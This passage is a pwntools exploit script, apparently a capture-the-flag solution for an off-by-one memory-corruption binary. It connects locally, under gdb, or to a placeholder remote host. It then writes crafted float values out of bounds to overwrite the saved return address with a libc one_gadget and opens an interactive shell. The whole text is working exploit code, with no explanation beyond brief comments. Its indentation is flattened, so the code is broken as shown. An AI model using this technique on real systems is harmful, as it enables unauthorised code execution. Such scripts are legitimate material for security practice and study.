context.binary = elf = ELF("./balls")
else:
context.binary = elf = ELF("./offbyone_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
gdbscript = f"""
set solib-search-path {Path.cwd()}
set $libc=0x7ffff7dd5000
set $stack=0x7ffffffdd000
set $pie=0x555555554000
# brva 0x1321
# brva 0x1374
# brva 0x1405
brva 0x14c6
c
"""
def conn():
if args.REMOTE:
#p = remote("addr", args.PORT)
#p = remote(args.HOST, args.PORT)
p = remote("addr", 1337)
elif args.GDB:
p = gdb.debug([elf.path], gdbscript=gdbscript, aslr=args.ASLR)
log.info("gdbscript: " + gdbscript)
else:
p = process([elf.path])
return p
p = conn()
# solve or else
def overwrite(idx, offset):
global total
total -= offset
val = 0
for i in range(offset):
p.sendline(str((idx*0.1)/2).encode())
total = 10000
total -= 1
p.sendline(b'0') # min = 0
overwrite(0x9c58+2, 0x40) # nan -> 0
overwrite(0x9c0c+2, 0x40)
overwrite(0x9c78, 0x11) # return address
overwrite(0x9c88, 0x1fb3) # onegadget
overwrite(0x9c8a, 0xc)
total -= 3
p.sendline(b"nan") # [rbp-0x70] == null
p.sendline(b"0")
p.sendline(b"0")
overwrite(0xa000, 0x10) # pad for [rbp-0x70]
total -= 2
overwrite(1, total) # fill array
p.sendline(b"nan") # max = 1
p.sendline(b"1")
log.debug(p.clean().decode())
p.interactive()
```